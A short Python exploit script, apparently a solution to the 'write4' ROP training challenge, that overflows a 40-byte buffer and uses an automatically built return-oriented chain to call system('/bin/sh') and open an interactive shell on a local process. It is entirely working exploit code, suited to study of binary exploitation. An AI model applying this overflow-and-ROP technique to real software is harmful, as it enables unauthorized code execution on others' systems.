text: from Exrop import Exrop
  from pwn import *
  
  binname = "write4"
  rop = Exrop(binname)
  rop.find_gadgets(cache=True)
  elf = ELF(binname, checksec=False)
  bss = elf.bss()
  system = elf.symbols['system']
  chain = rop.func_call(system, ("/bin/sh",), elf.bss())
  chain.dump()
  ret = p64(0x0000000000400806) # for padding
  buf = b"A"*40
  buf += ret + chain.payload_str() # ret for padding
  p = process(binname)
  p.sendlineafter("> ", buf)
  p.interactive()
  